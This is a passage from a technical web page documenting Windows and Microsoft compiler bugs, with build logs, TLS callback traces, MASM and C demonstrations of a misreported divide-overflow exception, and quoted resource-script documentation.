Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(103) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'void *' blunder.c(104) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'void *' blunder.c(105) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'DWORD *' blunder.c(106) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'const PIMAGE_TLS_CALLBACK *' Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /NODEFAULTLIB /out:blunder.dll /dll /implib:blunder.lib blunder.obj kernel32.lib user32.lib Creating library blunder.lib and object blunder.exp
 Compile the source file blunder.c created in
            step 1. a second time and link it with the import library
            blunder.lib generated in step 2. to build the
            console application blunder.exe:
        
SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c blunder.lib kernel32.lib user32.libNote:
blunder.exe is a pure
            Win32 console application and builds without the
            MSVCRT
            libraries.
        Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(103) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'void *' blunder.c(104) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'void *' blunder.c(105) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'DWORD *' blunder.c(106) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'const PIMAGE_TLS_CALLBACK *' Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj blunder.lib kernel32.lib user32.lib
 Execute the console application blunder.exe built in
            step 3. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
TLSCallback() function @ 0x7465104E Called module @ 0x74650000 = C:\Users\Stefan\Desktop\blunder.dll Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll Return address @ 0x0047F968 = 0x778D9280 Arguments: Module = 0x74650000 Reason = 1 (process attach) Unused = 0x00000000 Thread id = 3700 Thread exit code = 259 Process exit code = 259 _DllMainCRTStartup() function @ 0x7465122A Called module @ 0x74650000 = C:\Users\Stefan\Desktop\blunder.dll Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll Return address @ 0x0047F9A4 = 0x778D9280 Arguments: Module = 0x74650000 Reason = 1 (process attach) Context = 0x0047FCA8 Thread id = 3700 TLS index = 1 TLS value = 0x00000000 TLS array @ 0x007E4CA0 TLS block @ 0x007FB5A0 Thread 7816 created and started TLSCallback() function @ 0x0023104E Called module @ 0x00230000 = C:\Users\Stefan\Desktop\blunder.exe Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll Return address @ 0x0047F968 = 0x778D9280 Arguments: Module = 0x00230000 Reason = 1 (process attach) Unused = 0x00000000 Thread id = 3700 Thread exit code = 259 Process exit code = 259 wmainCRTStartup() function @ 0x0023122A Called module @ 0x00230000 = C:\Users\Stefan\Desktop\blunder.exe Calling module @ 0x77200000 = C:\Windows\syswow64\kernel32.dll Return address @ 0x0047FF10 = 0x7721343D Thread id = 3700 TLS index = 0 TLS value = 0x00000000 TLS array @ 0x007E4CA0 TLS block @ 0x007E4CD0 Thread 13192 created and started TLSCallback() function @ 0x7465104E Called module @ 0x74650000 = C:\Users\Stefan\Desktop\blunder.dll Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll Return address @ 0x0217F898 = 0x778D9280 Arguments: Module = 0x74650000 Reason = 2 (thread attach) Unused = 0x00000000 Thread id = 7816 Thread exit code = 259 Process exit code = 259 _DllMainCRTStartup() function @ 0x7465122A Called module @ 0x74650000 = C:\Users\Stefan\Desktop\blunder.dll Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll Return address @ 0x0217F8D4 = 0x778D9280 Arguments: Module = 0x74650000 Reason = 2 (thread attach) Context = 0x00000000 Thread id = 7816 TLS index = 1 TLS value = 0x00000000 TLS array @ 0x00802840 TLS block @ 0x00802870 TLSCallback() function @ 0x0023104E Called module @ 0x00230000 = C:\Users\Stefan\Desktop\blunder.exe Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll Return address @ 0x0217F898 = 0x778D9280 Arguments: Module = 0x00230000 Reason = 2 (thread attach) Unused = 0x00000000 Thread id = 7816 Thread exit code = 259 Process exit code = 259 TLSCallback() function @ 0x7465104E Called module @ 0x74650000 = C:\Users\Stefan\Desktop\blunder.dll Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll Return address @ 0x0233F664 = 0x778D9280 Arguments: Module = 0x74650000 Reason = 2 (thread attach) Unused = 0x00000000 Thread id = 13192 Thread exit code = 259 Process exit code = 259 _DllMainCRTStartup() function @ 0x7465122A Called module @ 0x74650000 = C:\Users\Stefan\Desktop\blunder.dll Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll Return address @ 0x0233F6A0 = 0x778D9280 Arguments: Module = 0x74650000 Reason = 2 (thread attach) Context = 0x00000000 Thread id = 13192 TLS index = 1 TLS value = 0x00000000 TLS array @ 0x008028A8 TLS block @ 0x008028E8 TLSCallback() function @ 0x0023104E Called module @ 0x00230000 = C:\Users\Stefan\Desktop\blunder.exe Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll Return address @ 0x0233F664 = 0x778D9280 Arguments: Module = 0x00230000 Reason = 2 (thread attach) Unused = 0x00000000 Thread id = 13192 Thread exit code = 259 Process exit code = 259 ThreadProc() function @ 0x74651148 Called module @ 0x74650000 = C:\Users\Stefan\Desktop\blunder.dll Calling module @ 0x77200000 = C:\Windows\syswow64\kernel32.dll Return address @ 0x0217FC68 = 0x7721343D Parameter = 0x00000000 Thread id = 7816 ThreadProc() function @ 0x00231148 Called module @ 0x00230000 = C:\Users\Stefan\Desktop\blunder.exe Calling module @ 0x77200000 = C:\Windows\syswow64\kernel32.dll Return address @ 0x0233FA34 = 0x7721343D Parameter = 0x746530F8 Thread id = 13192 TLSCallback() function @ 0x7465104E Called module @ 0x74650000 = C:\Users\Stefan\Desktop\blunder.dll Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll Return address @ 0x0217FB58 = 0x778D9280 Arguments: Module = 0x74650000 Reason = 3 (thread detach) Unused = 0x00000000 Thread id = 7816 Thread exit code = 259 Process exit code = 259 _DllMainCRTStartup() function @ 0x7465122A Called module @ 0x74650000 = C:\Users\Stefan\Desktop\blunder.dll Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll Return address @ 0x0217FB94 = 0x778D9280 Arguments: Module = 0x74650000 Reason = 3 (thread detach) Context = 0x00000000 Thread id = 7816 TLS index = 1 TLS value = 0x00000000 TLS array @ 0x00802840 TLS block @ 0x00802870 TLSCallback() function @ 0x0023104E Called module @ 0x00230000 = C:\Users\Stefan\Desktop\blunder.exe Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll Return address @ 0x0217FB58 = 0x778D9280 Arguments: Module = 0x00230000 Reason = 3 (thread detach) Unused = 0x00000000 Thread id = 7816 Thread exit code = 259 Process exit code = 259 TLSCallback() function @ 0x7465104E Called module @ 0x74650000 = C:\Users\Stefan\Desktop\blunder.dll Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll Return address @ 0x0233F4E8 = 0x778D9280 Arguments: Module = 0x74650000 Reason = 0 (process detach) Unused = 0x00000000 Thread id = 13192 Thread exit code = 259 Process exit code = 258 _DllMainCRTStartup() function @ 0x7465122A Called module @ 0x74650000 = C:\Users\Stefan\Desktop\blunder.dll Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll Return address @ 0x0233F524 = 0x778D9280 Arguments: Module = 0x74650000 Reason = 0 (process detach) Context = 0x00000001 Thread id = 13192 TLS index = 1 TLS value = 0x00000000 TLS array @ 0x008028A8 TLS block @ 0x008028E8 TLSCallback() function @ 0x0023104E Called module @ 0x00230000 = C:\Users\Stefan\Desktop\blunder.exe Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll Return address @ 0x0233F4E8 = 0x778D9280 Arguments: Module = 0x00230000 Reason = 0 (process detach) Unused = 0x00000000 Thread id = 13192 Thread exit code = 259 Process exit code = 258 0x102 (WIN32: 258 WAIT_TIMEOUT) -- 258 (258) Error message text: The wait operation timed out. CertUtil: -error command completed successfully.
TLSCallback() function @ 0x000007FEF63B106C Called module @ 0x000007FEF63B0000 = C:\Users\Stefan\Desktop\blunder.dll Calling module @ 0x00000000776E0000 = C:\Windows\SYSTEM32\ntdll.dll Return address @ 0x000000000027EF38 = 0x0000000077725078 Arguments: Module = 0x000007FEF63B0000 Reason = 1 (process attach) Unused = 0x0000000000000000 Thread id = 11656 Thread exit code = 259 Process exit code = 259 _DllMainCRTStartup() function @ 0x000007FEF63B132C Called module @ 0x000007FEF63B0000 = C:\Users\Stefan\Desktop\blunder.dll Calling module @ 0x00000000776E0000 = C:\Windows\SYSTEM32\ntdll.dll Return address @ 0x000000000027EFA8 = 0x0000000077717C3E Arguments: Module = 0x000007FEF63B0000 Reason = 1 (process attach) Context = 0x000000000027F730 Thread id = 11656 TLS index = 1 TLS value = 0x0000000000000000 TLS array @ 0x00000000003F3300 TLS block @ 0x000000000041A1E0 Thread 2764 created and started TLSCallback() function @ 0x000000013F61106C Called module @ 0x000000013F610000 = C:\Users\Stefan\Desktop\blunder.exe Calling module @ 0x00000000776E0000 = C:\Windows\SYSTEM32\ntdll.dll Return address @ 0x000000000027EF38 = 0x0000000077725078 Arguments: Module = 0x000000013F610000 Reason = 1 (process attach) Unused = 0x0000000000000000 Thread id = 11656 Thread exit code = 259 Process exit code = 259 wmainCRTStartup() function @ 0x000000013F61132C Called module @ 0x000000013F610000 = C:\Users\Stefan\Desktop\blunder.exe Calling module @ 0x00000000774C0000 = C:\Windows\system32\kernel32.dll Return address @ 0x000000000027FB88 = 0x00000000774D556D Thread id = 11656 TLS index = 0 TLS value = 0x0000000000000000 TLS array @ 0x00000000003F3300 TLS block @ 0x00000000003F3350 Thread 7656 created and started TLSCallback() function @ 0x000007FEF63B106C Called module @ 0x000007FEF63B0000 = C:\Users\Stefan\Desktop\blunder.dll Calling module @ 0x00000000776E0000 = C:\Windows\SYSTEM32\ntdll.dll Return address @ 0x0000000001D3F6B8 = 0x0000000077725078 Arguments: Module = 0x000007FEF63B0000 Reason = 2 (thread attach) Unused = 0x0000000000000000 Thread id = 2764 Thread exit code = 259 Process exit code = 259 _DllMainCRTStartup() function @ 0x000007FEF63B132C Called module @ 0x000007FEF63B0000 = C:\Users\Stefan\Desktop\blunder.dll Calling module @ 0x00000000776E0000 = C:\Windows\SYSTEM32\ntdll.dll Return address @ 0x0000000001D3F728 = 0x00000000777183CC Arguments: Module = 0x000007FEF63B0000 Reason = 2 (thread attach) Context = 0x0000000000000000 Thread id = 2764 TLS index = 1 TLS value = 0x0000000000000000 TLS array @ 0x000000000041A310 TLS block @ 0x000000000041A380 TLSCallback() function @ 0x000000013F61106C Called module @ 0x000000013F610000 = C:\Users\Stefan\Desktop\blunder.exe Calling module @ 0x00000000776E0000 = C:\Windows\SYSTEM32\ntdll.dll Return address @ 0x0000000001D3F6B8 = 0x0000000077725078 Arguments: Module = 0x000000013F610000 Reason = 2 (thread attach) Unused = 0x0000000000000000 Thread id = 2764 Thread exit code = 259 Process exit code = 259 ThreadProc() function @ 0x000007FEF63B11E4 Called module @ 0x000007FEF63B0000 = C:\Users\Stefan\Desktop\blunder.dll Calling module @ 0x00000000774C0000 = C:\Windows\system32\kernel32.dll Return address @ 0x0000000001D3FD48 = 0x00000000774D556D Parameter = 0x0000000000000000 Thread id = 2764 TLSCallback() function @ 0x000007FEF63B106C Called module @ 0x000007FEF63B0000 = C:\Users\Stefan\Desktop\blunder.dll Calling module @ 0x00000000776E0000 = C:\Windows\SYSTEM32\ntdll.dll Return address @ 0x0000000001D3FB98 = 0x0000000077725078 Arguments: Module = 0x000007FEF63B0000 Reason = 3 (thread detach) Unused = 0x0000000000000000 Thread id = 2764 Thread exit code = 259 Process exit code = 259 _DllMainCRTStartup() function @ 0x000007FEF63B132C Called module @ 0x000007FEF63B0000 = C:\Users\Stefan\Desktop\blunder.dll Calling module @ 0x00000000776E0000 = C:\Windows\SYSTEM32\ntdll.dll Return address @ 0x0000000001D3FC08 = 0x0000000077718785 Arguments: Module = 0x000007FEF63B0000 Reason = 3 (thread detach) Context = 0x0000000000000000 Thread id = 2764 TLS index = 1 TLS value = 0x0000000000000000 TLS array @ 0x000000000041A310 TLS block @ 0x000000000041A380 TLSCallback() function @ 0x000000013F61106C Called module @ 0x000000013F610000 = C:\Users\Stefan\Desktop\blunder.exe Calling module @ 0x00000000776E0000 = C:\Windows\SYSTEM32\ntdll.dll Return address @ 0x0000000001D3FB98 = 0x0000000077725078 Arguments: Module = 0x000000013F610000 Reason = 3 (thread detach) Unused = 0x0000000000000000 Thread id = 2764 Thread exit code = 259 Process exit code = 259 TLSCallback() function @ 0x000007FEF63B106C Called module @ 0x000007FEF63B0000 = C:\Users\Stefan\Desktop\blunder.dll Calling module @ 0x00000000776E0000 = C:\Windows\SYSTEM32\ntdll.dll Return address @ 0x0000000001F6F7D8 = 0x0000000077725078 Arguments: Module = 0x000007FEF63B0000 Reason = 2 (thread attach) Unused = 0x0000000000000000 Thread id = 7656 Thread exit code = 259 Process exit code = 259 _DllMainCRTStartup() function @ 0x000007FEF63B132C Called module @ 0x000007FEF63B0000 = C:\Users\Stefan\Desktop\blunder.dll Calling module @ 0x00000000776E0000 = C:\Windows\SYSTEM32\ntdll.dll Return address @ 0x0000000001F6F848 = 0x00000000777183CC Arguments: Module = 0x000007FEF63B0000 Reason = 2 (thread attach) Context = 0x0000000000000000 Thread id = 7656 TLS index = 1 TLS value = 0x0000000000000000 TLS array @ 0x000000000041B410 TLS block @ 0x000000000041B460 TLSCallback() function @ 0x000000013F61106C Called module @ 0x000000013F610000 = C:\Users\Stefan\Desktop\blunder.exe Calling module @ 0x00000000776E0000 = C:\Windows\SYSTEM32\ntdll.dll Return address @ 0x0000000001F6F7D8 = 0x0000000077725078 Arguments: Module = 0x000000013F610000 Reason = 2 (thread attach) Unused = 0x0000000000000000 Thread id = 7656 Thread exit code = 259 Process exit code = 259 ThreadProc() function @ 0x000000013F6111E4 Called module @ 0x000000013F610000 = C:\Users\Stefan\Desktop\blunder.exe Calling module @ 0x00000000774C0000 = C:\Windows\system32\kernel32.dll Return address @ 0x0000000001F6FE68 = 0x00000000774D556D Parameter = 0x000007FEF63B2138 Thread id = 7656 TLSCallback() function @ 0x000007FEF63B106C Called module @ 0x000007FEF63B0000 = C:\Users\Stefan\Desktop\blunder.dll Calling module @ 0x00000000776E0000 = C:\Windows\SYSTEM32\ntdll.dll Return address @ 0x0000000001F6FA18 = 0x0000000077725078 Arguments: Module = 0x000007FEF63B0000 Reason = 0 (process detach) Unused = 0x0000000000000000 Thread id = 7656 Thread exit code = 259 Process exit code = 258 _DllMainCRTStartup() function @ 0x000007FEF63B132C Called module @ 0x000007FEF63B0000 = C:\Users\Stefan\Desktop\blunder.dll Calling module @ 0x00000000776E0000 = C:\Windows\SYSTEM32\ntdll.dll Return address @ 0x0000000001F6FA88 = 0x000000007771775B Arguments: Module = 0x000007FEF63B0000 Reason = 0 (process detach) Context = 0x0000000000000001 Thread id = 7656 TLS index = 1 TLS value = 0x0000000000000000 TLS array @ 0x000000000041B410 TLS block @ 0x000000000041B460 TLSCallback() function @ 0x000000013F61106C Called module @ 0x000000013F610000 = C:\Users\Stefan\Desktop\blunder.exe Calling module @ 0x00000000776E0000 = C:\Windows\SYSTEM32\ntdll.dll Return address @ 0x0000000001F6FA18 = 0x0000000077725078 Arguments: Module = 0x000000013F610000 Reason = 0 (process detach) Unused = 0x0000000000000000 Thread id = 7656 Thread exit code = 259 Process exit code = 258 0x102 (WIN32: 258 WAIT_TIMEOUT) -- 258 (258) Error message text: The wait operation timed out. CertUtil: -error command completed successfully.Note: the module loader calls the TLS Callback Function
TLSCallback() before the entry-point
            functions of the
            DLL
            blunder.dll and the console application
            blunder.exe, and finally also after
            the latter called
            ExitProcess()!
         OOPS¹: although both
            StartAddressOfRawData and
            EndAddressOfRawData members of the
            _tls_used structure are NULL, i.e.
            TLS template data is
            absent, the module loader allocates a
            TLS block per
            thread!
        
 OOPS²: contrary to the documentation cited
            above, the module loader discards the SizeOfZeroFill
            member of the _tls_used structure!
        
 OOPS³: contrary to the documentation cited
            above, the exit code (here Win32 error code 258 alias
            WAIT_TIMEOUT)
            of the not yet terminated process is already set!
        
HIGH32
            of MASM alias
            ML.EXE states:
        The documentation for the operatorReturns the low 32 bits of expression. MASM expressions are 64-bit values.HIGH32 expression
LOW32
            of MASM alias
            ML.EXE states:
        Returns the low 32 bits of expression. MASM expressions are 64-bit values.LOW32 expression
 Create the text file blunder.asm with the following
            content in an arbitrary, preferable empty directory:
        
; Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
	.model	flat, C
	.code
	mov	eax, LOW32 0123456789ABCDEFh
	mov	edx, HIGH32 0123456789ABCDEFh
	.const
	qword	0123456789ABCDEFh
	oword	0123456789ABCDEF0123456789ABCDEFh
	end Assemble the source file blunder.asm created in
            step 1.:
        
SET ML=/c /W3 /X ML.EXE /FoNUL: blunder.asmNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) Macro Assembler Version 10.00.40219.01 Copyright (C) Microsoft Corporation. All rights reserved. Assembling: blunder.asm blunder.asm(4) : error A2084:constant value too large blunder.asm(5) : error A2084:constant value too largeOUCH: contrary to both highlighted statements of the documentation cited above, (constant) expressions are but 32-bit values!
 Create the text file blunder.asm with the following
            content in an arbitrary, preferable empty directory:
        
; Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
	.386
	.model	flat, C
	.code
blunder	proc	public
	mov	ecx, 1 shl 31	; ecx = divisor = 0x80000000,
				; edx:eax = arbitrary dividend
	div	ecx		; eax = arbitrary quotient,
				; edx = arbitrary remainder
				;     < divisor
	not	edx		; edx:eax = dividend
				;         = divisor << 32 | arbitrary quotient
				;         > divisor << 32
	div	ecx		; raise #DE (divide error exception) via
				;  quotient overflow
;;	ret
blunder	endp
	end	blunder		; writes "/ENTRY:blunder" to '.drectve' section Assemble and link the source file blunder.asm created
            in step 1.:
        
SET ML=/W3 /X SET LINK=/NODEFAULTLIB /RELEASE /SUBSYSTEM:CONSOLE ML.EXE blunder.asmNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) Macro Assembler Version 10.00.40219.01 Copyright (C) Microsoft Corporation. All rights reserved. Assembling: blunder.asm Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /NODEFAULTLIB /RELEASE /SUBSYSTEM:CONSOLE /OUT:blunder.exe blunder.obj
 Execute the console application blunder.exe built in
            step 2. to show that 231 is equal 0:
        
VER .\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
Microsoft Windows [Version 6.1.7601]
0xc0000094 (NT: 0xc0000094 STATUS_INTEGER_DIVIDE_BY_ZERO) -- 3221225620 (-1073741676)
Error message text: {EXCEPTION}
Integer division by zero.
CertUtil: -error command completed successfully.
            OUCH: (at least) for the divisor 231,
            which most obviously differs from 0, Windows’
            kernel maps the processor’s
            #DE to the
            wrong
            NTSTATUS
            0xC0000094
            alias STATUS_INTEGER_DIVIDE_BY_ZERO instead to the
            correct
            0xC0000095
            alias STATUS_INTEGER_OVERFLOW!
         (Optional) If you have the
            Debugging Tools for Windows
            installed, execute the console application blunder.exe
            built in step 2. under the debugger:
        
CDB.EXE /C g;q /G /g .\blunder.exeNote: if necessary, see the MSDN articles Debugging Using CDB and NTSD and CDB Command-Line Options for an introduction.
Microsoft (R) Windows Debugger Version 6.11.0001.404 X86 Copyright (c) Microsoft Corporation. All rights reserved. CommandLine: .\blunder.exe Symbol search path is: srv* Executable search path is: ModLoad: 00ee0000 00ee2000 image00ee0000 ModLoad: 779c0000 77b40000 ntdll.dll ModLoad: 774d0000 775e0000 C:\Windows\syswow64\kernel32.dll ModLoad: 76080000 760c7000 C:\Windows\syswow64\KERNELBASE.dll ModLoad: 75790000 75831000 C:\Windows\syswow64\ADVAPI32.DLL ModLoad: 75fd0000 7607c000 C:\Windows\syswow64\msvcrt.dll ModLoad: 75e70000 75e89000 C:\Windows\SysWOW64\sechost.dll ModLoad: 75ed0000 75fc0000 C:\Windows\syswow64\RPCRT4.dll ModLoad: 750e0000 75140000 C:\Windows\syswow64\SspiCli.dll ModLoad: 750d0000 750dc000 C:\Windows\syswow64\CRYPTBASE.dll (22f0.26a0): Integer divide-by-zero - code c0000094 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=01dc2000 ebx=7efde000 ecx=80000000 edx=88b1cbd4 esi=00000000 edi=00000000 eip=00ee1009 esp=001bf898 ebp=001bf8a0 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 *** ERROR: Module load completed but symbols could not be loaded for image00ee0000 image00ee0000+0x1009: 00ee1009 f7f1 div eax,ecx 0:000:x86> cdb: Reading initial command 'g;q' (22f0.26a0): Integer divide-by-zero - code c0000094 (!!! second chance !!!) quit:Oops: also notice the bunch of not explicitly referenced DLLs loaded with
 Overwrite the text file blunder.asm created in
            step 1. with the following content:
        
; Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
	.code
blunder	proc	public
	mov	rcx, 1 shl 63	; rcx = divisor = 0x8000000000000000,
				; rdx:rax = arbitrary dividend
	div	rcx		; rax = arbitrary quotient,
				; rdx = arbitrary remainder
				;     < divisor
	not	rdx		; rdx:rax = dividend
				;         = divisor << 64 | arbitrary quotient
				;         > divisor << 64
	div	rcx		; raise #DE (divide error exception) via
				;  quotient overflow
;;	ret
blunder	endp
	end Assemble and link the source file blunder.asm modified
            in step 5.:
        
SET ML=/W3 /X SET LINK=/ENTRY:blunder /NODEFAULTLIB /RELEASE /SUBSYSTEM:CONSOLE ML64.EXE blunder.asmNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) Macro Assembler (x64) Version 10.00.40219.01 Copyright (C) Microsoft Corporation. All rights reserved. Assembling: blunder.asm Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:blunder /NODEFAULTLIB /RELEASE /SUBSYSTEM:CONSOLE /OUT:blunder.exe blunder.obj
 Execute the console application blunder.exe built in
            step 6. to show that 263 is equal 0:
        
VER .\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
Microsoft Windows [Version 6.1.7601]
0xc0000094 (NT: 0xc0000094 STATUS_INTEGER_DIVIDE_BY_ZERO) -- 3221225620 (-1073741676)
Error message text: {EXCEPTION}
Integer division by zero.
CertUtil: -error command completed successfully.
            OUCH: (at least) for the divisor 263,
            which most obviously differs from 0, Windows’
            kernel maps the processor’s
            #DE to the
            wrong
            NTSTATUS
            0xC0000094
            alias STATUS_INTEGER_DIVIDE_BY_ZERO instead to the
            correct
            0xC0000095
            alias STATUS_INTEGER_OVERFLOW!
         (Optional) If you have the
            Debugging Tools for Windows
            installed, execute the console application blunder.exe
            built in step 6. under the debugger:
        
CDB.EXE /C g;q /G /g .\blunder.exeNote: if necessary, see the MSDN articles Debugging Using CDB and NTSD and CDB Command-Line Options for an introduction.
Microsoft (R) Windows Debugger Version 6.1.7601.17514 AMD64 Copyright (c) Microsoft Corporation. All rights reserved. CommandLine: .\blunder.exe Symbol search path is: srv* Executable search path is: ModLoad: 00000001`3ff10000 00000001`3ff12000 image00000001`3ff10000 ModLoad: 00000000`77800000 00000000`7799f000 ntdll.dll ModLoad: 00000000`775e0000 00000000`776ff000 C:\Windows\system32\kernel32.dll ModLoad: 000007fe`fd510000 000007fe`fd577000 C:\Windows\system32\KERNELBASE.dll ModLoad: 000007fe`fd980000 000007fe`fda5b000 C:\Windows\system32\ADVAPI32.DLL ModLoad: 000007fe`fe1c0000 000007fe`fe25f000 C:\Windows\system32\msvcrt.dll ModLoad: 000007fe`fe260000 000007fe`fe27f000 C:\Windows\SYSTEM32\sechost.dll ModLoad: 000007fe`ff250000 000007fe`ff37c000 C:\Windows\system32\RPCRT4.dll (2274.3570): Integer divide-by-zero - code c0000094 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. *** ERROR: Module load completed but symbols could not be loaded for image00000001`3ff10000 image00000001_3ff10000+0x1010: 00000001`3ff11010 48f7f1 div rax,rcx 0:000> cdb: Reading initial command 'g;q' (2274.3570): Integer divide-by-zero - code c0000094 (!!! second chance !!!) quit:Oops: again notice the slew of not explicitly referenced DLLs loaded with
 Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyleft © 2019-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#include <intrin.h>
#ifndef _WIN64
__int32	mainCRTStartup(void)
{
	__int64	arbitrary = __rdtsc();
	return _udiv64(1ULL << 63 | arbitrary, 1UL << 31, 0);
}
#else // _WIN64
__int64	mainCRTStartup(void)
{
	__int64	arbitrary = __rdtsc();
	return _udiv128(1ULL << 63 | arbitrary, arbitrary, 1ULL << 63, 0);
}
#endif // _WIN64 Compile and link the source file blunder.c created in
            step 9. in the 32-bit development environment:
        
SET CL=/GF /Oi /W4 /Zl SET LINK=/ENTRY:mainCRTStartup /MACHINE:I386 /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.cNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 19.20.27004.0 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 19.20.27004.0 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /MACHINE:I386 /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj
 Execute the console application blunder.exe built in
            step 10. and evaluate its exit code to prove that
            231 is equal to 0:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0xc0000094 (NT: 0xc0000094 STATUS_INTEGER_DIVIDE_BY_ZERO) -- 3221225620 (-1073741676)
Error message text: {EXCEPTION}
Integer division by zero.
CertUtil: -error command completed successfully.
            OUCH: (at least) for the divisor 231,
            which most obviously differs from 0, Windows’
            kernel maps the processor’s
            #DE exception to the
            wrong
            NTSTATUS
            0xC0000094
            alias STATUS_INTEGER_DIVIDE_BY_ZERO instead to the
            correct
            0xC0000095
            alias STATUS_INTEGER_OVERFLOW!
         Compile and link the source file blunder.c created in
            step 9. in the 64-bit development environment:
        
SET CL=/GF /Oi /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /MACHINE:AMD64 /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.cNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) C/C++ Optimizing Compiler Version 19.20.27004.0 for x64 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 19.20.27004.0 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /MACHINE:AMD64 /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj
 Execute the console application blunder.exe built in
            step 12. and evaluate its exit code to prove that
            263 is equal to 0:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0xc0000094 (NT: 0xc0000094 STATUS_INTEGER_DIVIDE_BY_ZERO) -- 3221225620 (-1073741676)
Error message text: {EXCEPTION}
Integer division by zero.
CertUtil: -error command completed successfully.
            OUCH: (at least) for the divisor 263,
            which most obviously differs from 0, Windows’
            kernel maps the processor’s
            #DE exception to the
            wrong
            NTSTATUS
            0xC0000094
            alias STATUS_INTEGER_DIVIDE_BY_ZERO instead to the
            correct
            0xC0000095
            alias STATUS_INTEGER_OVERFLOW!
        A resource file is a text file with the extension .rc. The file can use single-byte, double-byte, or Unicode characters. The syntax and semantics for the RC preprocessor are similar to those of the Microsoft C/C++ compiler. However, RC supports a subset of the preprocessor directives, defines, and pragmas in a script.The MSDN article Predefined Macros states:The script file defines resources. For a resource that exists in a separate file, such as an icon or cursor, the script specifies the resource and the file that contains it. For some resources, such as a menu, the entire definition of the resource exists within the script.
To conditionally compile your code with the RC compiler, surround code that RC cannot compile with #ifndef RC_INVOKED and #endif.The MSDN article Pragma Directives states:
RC does support the following pragma directive for changing the code page:The MSDN article User-Defined Resource specifies:#pragma code_page( [ DEFAULT | CodePageNum ] )
A user-defined resource-definition statement defines a resource that contains application-specific data. The data can have any format and can be defined either as the content of a given file (if the filename parameter is given) or as a series of numbers and strings (if the raw-data block is specified).OUCH⁰: relative path names can of course be used too!The filename specifies the name of a file containing the binary data of the resource. The contents of the file are included as the resource. RC does not interpret the binary data in any way. It is the programmer's responsibility to ensure that the data is properly aligned for the target computer architecture.nameID typeID filenameA user-defined resource can also be defined completely in the resource script using the following syntax:
[…]nameID typeID { raw-data }filename
Name of the file that contains the resource data. The parameter must be a valid file name; it must be a full path if the file is not in the current working directory.
raw-data
Raw data consisting of one or more integers or strings of characters.
The MSDN article BITMAP resource states:
Defines a bitmap that an application uses in its screen display or as an item in a menu or control.The MSDN article CURSOR resource states:[…]nameID BITMAP filenamefilename
